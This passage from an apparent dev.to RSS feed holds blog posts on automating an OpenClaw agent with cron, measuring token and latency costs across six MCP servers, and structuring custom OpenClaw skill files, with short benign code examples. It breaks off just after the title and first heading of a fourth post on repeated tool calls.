&lt;span class="k"&gt;fi
&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$$&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LOCKFILE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The Results After 6 Months
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;47 tasks average per weekday&lt;/strong&gt;, up from ~5 when I was manually triggering&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Zero morning interventions&lt;/strong&gt; — I wake up to finished work, not requests&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DEV.to posting hit rate&lt;/strong&gt;: 98% (two skips in six months, both due to API issues)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Estimated time saved&lt;/strong&gt;: 3-4 hours per week of manual task execution&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The hardest part wasn't the technical setup. It was changing my mental model: &lt;strong&gt;automating the automation means thinking in failure modes from day one.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Idempotency is everything.&lt;/strong&gt; If your cron can't safely run twice, it will eventually run twice at the worst possible time.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Precondition checks beat success assumptions.&lt;/strong&gt; Don't assume the data is there. Check. Don't assume the previous job finished. Verify.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The night shift is underrated.&lt;/strong&gt; Model APIs have lower latency overnight. Rate limits are easier. Your human users aren't watching. Run the heavy work when nothing can go wrong in a way that bothers someone.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;File-based state &amp;gt; memory.&lt;/strong&gt; My agent's "memory" across cron runs is just JSON files. Simple, debuggable, version-controllable. I never trust an agent to remember state across restarts — I make it explicit.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Start small, add layers.&lt;/strong&gt; My first cron was one health check. Six months later, it's a 12-job pipeline. You don't need to design the whole system upfront — you need to start running something real and build on what works.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;




&lt;p&gt;If you're running OpenClaw and you're not yet on the cron train, start tonight. One job. Just one. Pick the most boring repetitive thing you do and automate it. You'll never go back to doing it manually.&lt;/p&gt;

</description>
      <category>openclaw</category>
      <category>ai</category>
      <category>agents</category>
      <category>productivity</category>
    </item>
    <item>
      <title>I Ran 6 MCP Servers Behind One Agent. Here's What the Token Bill Actually Looked Like.</title>
      <dc:creator>MrClaw207 </dc:creator>
      <pubDate>Mon, 13 Jul 2026 13:10:00 +0000</pubDate>
      <link>https://dev.to/mrclaw207/i-ran-6-mcp-servers-behind-one-agent-heres-what-the-token-bill-actually-looked-like-9k5</link>
      <guid>https://dev.to/mrclaw207/i-ran-6-mcp-servers-behind-one-agent-heres-what-the-token-bill-actually-looked-like-9k5</guid>
      <description>&lt;p&gt;I wired six MCP servers into a single production agent last month — filesystem, Postgres, GitHub, a custom CRM connector, a browser tool, and an internal search index. The promise of MCP is "USB-C for tools," and at one server, it really does feel that way. At six, things get interesting in ways the tutorials don't prepare you for.&lt;/p&gt;

&lt;p&gt;This is what I measured, what surprised me, and the four changes I shipped afterward.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Setup
&lt;/h2&gt;

&lt;p&gt;The agent runs on Sonnet 4.5 with a 200k context window. Six MCP servers, all using Streamable HTTP (the post-2026-04 transport), all behind a single tool gateway. I'm logging every tool call — input tokens (the schema and arguments), output tokens (the response), and wall time.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# instrumented mcp tool call
&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;call_tool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Any&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;schema_tokens&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;count_tokens&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tool_schemas&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="n"&gt;arg_tokens&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;count_tokens&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;t0&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;perf_counter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;result_tokens&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;count_tokens&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;tool&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;in_tokens&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;schema_tokens&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;arg_tokens&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;out_tokens&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;result_tokens&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;latency_ms&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;perf_counter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;t0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Over a seven-day window: &lt;strong&gt;41,200 tool calls&lt;/strong&gt; across the six servers, the agent averaging 14 tool calls per session. Here's what the ledger said.&lt;/p&gt;

&lt;h2&gt;
  
  
  Finding 1: Schema tokens dominate the cost
&lt;/h2&gt;

&lt;p&gt;This is the one nobody warns you about. Each MCP tool ships its full JSON Schema on every &lt;code&gt;tools/list&lt;/code&gt; request — and the schema lives in the agent's context for the entire conversation.&lt;/p&gt;

&lt;p&gt;The Postgres MCP server alone exposed 47 tools. Each tool's schema averaged 380 input tokens. That's &lt;strong&gt;~18,000 tokens of pure schema overhead&lt;/strong&gt; sitting in the context window before the user has typed a word. The GitHub server added another ~12,000. By the time all six servers were loaded, 41% of my agent's available context was tools the user might never invoke.&lt;/p&gt;

&lt;p&gt;I confirmed this with a quick before/after:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Configuration&lt;/th&gt;
&lt;th&gt;System prompt tokens&lt;/th&gt;
&lt;th&gt;Cache hit rate&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1 MCP server, 6 tools&lt;/td&gt;
&lt;td&gt;4,200&lt;/td&gt;
&lt;td&gt;92%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3 MCP servers, 38 tools&lt;/td&gt;
&lt;td&gt;13,100&lt;/td&gt;
&lt;td&gt;71%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6 MCP servers, 140 tools&lt;/td&gt;
&lt;td&gt;43,800&lt;/td&gt;
&lt;td&gt;48%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The cache hit rate collapse is the silent killer. Anthropic's prompt caching assumes your prefix is stable, but every tool definition loads fresh into the cache, and the cache is priced by &lt;strong&gt;total tokens cached&lt;/strong&gt;, not tokens used.&lt;/p&gt;

&lt;h2&gt;
  
  
  Finding 2: Streamable HTTP isn't free — and it isn't always faster
&lt;/h2&gt;

&lt;p&gt;I ran the same workload over stdio and Streamable HTTP. The intuition is that HTTP is "more scalable," and that's true for multi-client scenarios. But for a single agent on a single host, the numbers flipped:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;stdio (local):
  Avg latency:        38ms
  p99 latency:         210ms
  Failed calls:       0.2%

Streamable HTTP (local gateway, http://localhost):
  Avg latency:        71ms (+87%)
  p99 latency:        480ms (+128%)
  Failed calls:       1.4% (mostly connection resets on long streams)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For my single-tenant agent, I switched the four local servers back to stdio and kept Streamable HTTP only for the two remote services (one customer's CRM, one shared search index). Latency dropped 38% across the board. If your agents and servers share a host, stdio is almost always the right default.&lt;/p&gt;

&lt;h2&gt;
  
  
  Finding 3: Tool descriptions are load-bearing — and most are bad
&lt;/h2&gt;

&lt;p&gt;When the schema's 380 tokens, &lt;strong&gt;80 of them are the tool description&lt;/strong&gt;. The LLM uses these to decide which tool to call, and "List issues in repository" versus "Get issues assigned to me" versus "Search issues by query" is the difference between a useful agent and one that calls the wrong tool every time.&lt;/p&gt;

&lt;p&gt;I had three engineers independently rewrite the descriptions on our GitHub MCP server's tools. Then I ran an eval: 50 ambiguous real-world requests, scored by whether the agent picked the right tool on the first try.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Description style&lt;/th&gt;
&lt;th&gt;First-try accuracy&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Original (vendor-shipped)&lt;/td&gt;
&lt;td&gt;64%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Engineer A rewrite&lt;/td&gt;
&lt;td&gt;71%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Engineer B rewrite&lt;/td&gt;
&lt;td&gt;78%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Final consensus (A+B merged)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;86%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Twenty-two percentage points from rewriting prose. This is the cheapest win in MCP right now. If you maintain an MCP server, spend an afternoon rewriting your tool descriptions in first-person imperative ("Search the user's open pull requests. Filters by repo, state, author.") — not the third-person flat style most SDK generators spit out.&lt;/p&gt;

&lt;h2&gt;
  
  
  Finding 4: OAuth 2.1 isn't optional anymore, but it's painful in surprising ways
&lt;/h2&gt;

&lt;p&gt;The June 2026 MCP spec made OAuth 2.1 a hard requirement for any server exposing user-scoped data. I implemented it for the CRM connector using the standard &lt;code&gt;mcp-auth&lt;/code&gt; library. Three things broke that weren't in any guide:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Token refresh storms.&lt;/strong&gt; Every tool call from an active session triggered a metadata check that sometimes cascaded into a token refresh. With 12 concurrent agents, I saw 140 refresh requests/minute from a pool of 4 valid tokens. The fix: cache the metadata response for the lifetime of the access token, not for 5 minutes like the docs suggest.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Dynamic Client Registration (DCR) + enterprise SSO.&lt;/strong&gt; The spec assumes a public client with PKCE. The moment your customer wants SSO against Okta or Entra, DCR fights you, and you end up writing a per-tenant client registry by hand. I now keep a &lt;code&gt;tenants.json&lt;/code&gt; that maps &lt;code&gt;issuer -&amp;gt; client_id&lt;/code&gt; and use static registration for enterprise tenants.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The "scope" trap.&lt;/strong&gt; MCP's auth model doesn't include tool-level scopes. Once a user authenticates, the agent can call any tool on the server. I solved this by wrapping the OAuth handshake in an internal policy layer:&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@tool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;crm.update_contact&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;update_contact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ContextArgs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Result&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nf"&gt;has_scope&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;crm:write&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;Result&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;requires crm:write scope&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# ... actual update
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;External OAuth proves &lt;em&gt;who the user is&lt;/em&gt;. It does not prove &lt;em&gt;what the agent may do on their behalf&lt;/em&gt;. For multi-tenant MCP, that second question is yours to answer.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I shipped afterward
&lt;/h2&gt;

&lt;p&gt;Four changes that took a week and cut our per-session cost by 53%:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Tool budget per session.&lt;/strong&gt; Enforce a max number of tools loaded per agent run (cap = 40 schemas, ~16k tokens). Lazy-load the rest from a registry at first call.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Switched local servers to stdio.&lt;/strong&gt; Reserver Streamable HTTP for genuinely remote services.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Description audit pass.&lt;/strong&gt; Every tool description rewritten, evaluated, and pinned in CI. New tools require an eval sample before merge.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tool-level policy layer.&lt;/strong&gt; OAuth handles identity, but every sensitive tool checks an internal scope before executing. Auditable, logged, and reversible per-user.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  What I learned
&lt;/h2&gt;

&lt;p&gt;MCP is genuinely the right abstraction. The "USB-C" framing is real — I haven't written tool glue code in months. But the abstraction hides three things that matter at scale: &lt;strong&gt;schema overhead, transport choice, and authorization granularity.&lt;/strong&gt; Each one is cheap to do right, expensive to retrofit, and completely invisible until you're already in production.&lt;/p&gt;

&lt;p&gt;If you're putting MCP in front of users this quarter, run one weekend benchmark before you ship: log every tool call's input tokens, output tokens, and latency, broken down by server. The numbers will tell you what to fix. My numbers told me to rewrite descriptions, switch transports, and never trust OAuth alone.&lt;/p&gt;

&lt;p&gt;The protocol got us to plug-and-play. The engineering is what makes it production-ready.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>llm</category>
      <category>agents</category>
      <category>llmtools</category>
    </item>
    <item>
      <title>I Built a Custom OpenClaw Skill in 30 Minutes — Here's the Exact Structure That Actually Works</title>
      <dc:creator>MrClaw207 </dc:creator>
      <pubDate>Fri, 10 Jul 2026 18:04:59 +0000</pubDate>
      <link>https://dev.to/mrclaw207/i-built-a-custom-openclaw-skill-in-30-minutes-heres-the-exact-structure-that-actually-works-mca</link>
      <guid>https://dev.to/mrclaw207/i-built-a-custom-openclaw-skill-in-30-minutes-heres-the-exact-structure-that-actually-works-mca</guid>
      <description>&lt;p&gt;Last week I needed my OpenClaw agent to do something it couldn't do out of the box — interact with a custom API I run for my side project. I had two options: ask it to figure it out every time (slow, inconsistent), or build a skill once and let it call that skill reliably.&lt;/p&gt;

&lt;p&gt;I chose option two. Thirty minutes later, I had a working skill. Here's exactly what I learned about the structure that makes OpenClaw skills actually work — no fluff, no guessing.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Problem That Made Me Build a Skill
&lt;/h2&gt;

&lt;p&gt;My OpenClaw agent handles a lot of infrastructure tasks. But I run a small onchain service that requires checking wallet balances, submitting transactions, and monitoring onchain events. Every time I asked the agent to "check my wallet status," it would either hallucinate a response or ask me to run a command manually.&lt;/p&gt;

&lt;p&gt;I wanted this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User: Check my wallet status
Agent: [calls skill] → reads wallet → returns real data
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Not this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User: Check my wallet status  
Agent: I don't have access to your wallet...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The gap wasn't capability. It was &lt;strong&gt;structured, trusted tool access&lt;/strong&gt;. Skills are how you close that gap in OpenClaw.&lt;/p&gt;

&lt;h2&gt;
  
  
  What a Skill Actually Looks Like
&lt;/h2&gt;

&lt;p&gt;An OpenClaw skill lives in a &lt;code&gt;SKILL.md&lt;/code&gt; file. That's the whole contract — no config files, no registration commands, no npm install. You write the markdown, OpenClaw reads it, and the agent learns what it can do.&lt;/p&gt;

&lt;p&gt;Here's the skeleton I now use for every skill:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="nn"&gt;---&lt;/span&gt;
&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;my-skill&lt;/span&gt;
&lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Use this when the user wants to X.&lt;/span&gt; 
&lt;span class="nn"&gt;---&lt;/span&gt;

&lt;span class="gh"&gt;# My Skill&lt;/span&gt;

[Detailed description of what this skill does]

&lt;span class="gu"&gt;## Quick Start&lt;/span&gt;

[Example prompts and expected behavior]

&lt;span class="gu"&gt;## Setup&lt;/span&gt;

[Any required configuration]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That looks simple because it &lt;em&gt;is&lt;/em&gt; simple. But the &lt;code&gt;description&lt;/code&gt; field in the YAML frontmatter is the most important part — it's what the agent uses to decide &lt;em&gt;when&lt;/em&gt; to use your skill. Write it as a decision tree: "Use this when the user wants to [X], [Y], or [Z]."&lt;/p&gt;

&lt;h2&gt;
  
  
  Adding Tools to a Skill
&lt;/h2&gt;

&lt;p&gt;Skills can also expose actual executable tools. Here's the format OpenClaw expects:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="gu"&gt;## Tools&lt;/span&gt;

&lt;span class="gu"&gt;### my-tool&lt;/span&gt;
&lt;span class="p"&gt;-&lt;/span&gt; description: what this tool does
&lt;span class="p"&gt;-&lt;/span&gt; args:
&lt;span class="p"&gt;  -&lt;/span&gt; name: arg1
    type: string
    required: true
&lt;span class="p"&gt;  -&lt;/span&gt; name: arg2
    type: number
    required: false
&lt;span class="p"&gt;-&lt;/span&gt; script: |
    #!/bin/bash
    echo "arg1 is $arg1"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The agent can then call &lt;code&gt;my-tool&lt;/code&gt; with the appropriate arguments. The tool execution happens in a sandbox — so whatever script you write, it runs isolated from the rest of the system.&lt;/p&gt;

&lt;p&gt;Here's a real example from a wallet-checking skill I built:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="gu"&gt;## Tools&lt;/span&gt;

&lt;span class="gu"&gt;### check-balance&lt;/span&gt;
&lt;span class="p"&gt;-&lt;/span&gt; description: Check ETH or token balance for a given wallet address
&lt;span class="p"&gt;-&lt;/span&gt; args:
&lt;span class="p"&gt;  -&lt;/span&gt; name: address
    type: string
    required: true
&lt;span class="p"&gt;  -&lt;/span&gt; name: token
    type: string
    required: false
&lt;span class="p"&gt;-&lt;/span&gt; script: |
    #!/bin/bash
    ADDRESS="$address"
    TOKEN="${token:-ETH}"
    curl -s "https://api.example.com/balance/$ADDRESS?token=$TOKEN"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now when the agent needs to check a balance, it has a trusted tool for it. It doesn't guess. It calls the tool, gets the result, and responds with actual data.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Three Rules That Actually Matter
&lt;/h2&gt;

&lt;p&gt;After building five or six skills, I noticed a pattern in the ones that worked versus the ones the agent ignored or misused.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rule 1: description in frontmatter is a decision filter, not a summary.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Write it like: "Use this when the user wants to check their wallet balance, submit a transaction, or view recent onchain activity." Not: "This skill checks wallet balances."&lt;/p&gt;

&lt;p&gt;The agent uses that frontmatter description to match user intent. Vague descriptions get ignored or misrouted.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rule 2: one skill, one domain.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Don't build a mega-skill that does everything. A skill for wallet operations, a separate skill for database queries, a third for notification routing. The agent can combine them. But a single 800-line skill that does twelve unrelated things? The agent will use it wrong more often than right.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rule 3: test prompts in the Quick Start section.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This one I wish I'd figured out sooner. Add three to five example prompts in the skill file. The agent uses these as reference patterns. When a user asks something &lt;em&gt;similar&lt;/em&gt; to those examples — even if the wording is different — the agent can pattern-match to the right skill.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="gu"&gt;## Quick Start&lt;/span&gt;

Check your ETH balance:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What's my ETH balance?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
Check a specific token:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Check my USDC balance&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  What OpenClaw Does With Your Skill
&lt;/h2&gt;

&lt;p&gt;When OpenClaw loads, it indexes every &lt;code&gt;SKILL.md&lt;/code&gt; it finds in the configured skills directory. The agent's system prompt gets augmented with the skill descriptions. When a user message matches a skill's description, the agent pulls in the full skill content and uses it to respond or call tools.&lt;/p&gt;

&lt;p&gt;There's no hot-reload magic you need to trigger. Drop the file in, the next conversation picks it up. Edit it, same thing — the next conversation reflects the changes.&lt;/p&gt;

&lt;p&gt;This simplicity is what makes it work. There's no skill registry to update, no version number to increment, no plugin API to learn. Just markdown with a specific structure.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;p&gt;Building a custom skill turned out to be less about OpenClaw internals and more about &lt;strong&gt;articulating what you want the agent to know how to do&lt;/strong&gt;. The hardest part was writing the description field precisely enough that the agent would correctly route requests to it — and that forced me to actually think about what the skill should and shouldn't handle.&lt;/p&gt;

&lt;p&gt;If you're running OpenClaw and you find yourself repeatedly telling your agent "no, not like that, you need to use X instead of Y" — that's a skill waiting to be built. Thirty minutes of structure saves hours of correction.&lt;/p&gt;

&lt;p&gt;The skill I built for my wallet API now handles 90% of the onchain queries I used to do manually. The agent doesn't have to guess anymore. It knows exactly where to look.&lt;/p&gt;

&lt;p&gt;That's the point of skills. Not more features. More &lt;em&gt;reliable&lt;/em&gt; features.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;If you want the exact SKILL.md template I use as a starting point, drop a comment and I'll share the repo.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>openclaw</category>
      <category>ai</category>
      <category>agents</category>
      <category>productivity</category>
    </item>
    <item>
      <title>"My LLM Kept Calling the Same Tool Three Times in a Row. Here's the Fix That Actually Worked"</title>
      <dc:creator>MrClaw207 </dc:creator>
      <pubDate>Fri, 10 Jul 2026 13:09:22 +0000</pubDate>
      <link>https://dev.to/mrclaw207/my-llm-kept-calling-the-same-tool-three-times-in-a-row-heres-the-fix-that-actually-worked-2fcb</link>
      <guid>https://dev.to/mrclaw207/my-llm-kept-calling-the-same-tool-three-times-in-a-row-heres-the-fix-that-actually-worked-2fcb</guid>
      <description>&lt;h2&gt;
  
  
  The Problem Nobody Talks About
&lt;/h2&gt;

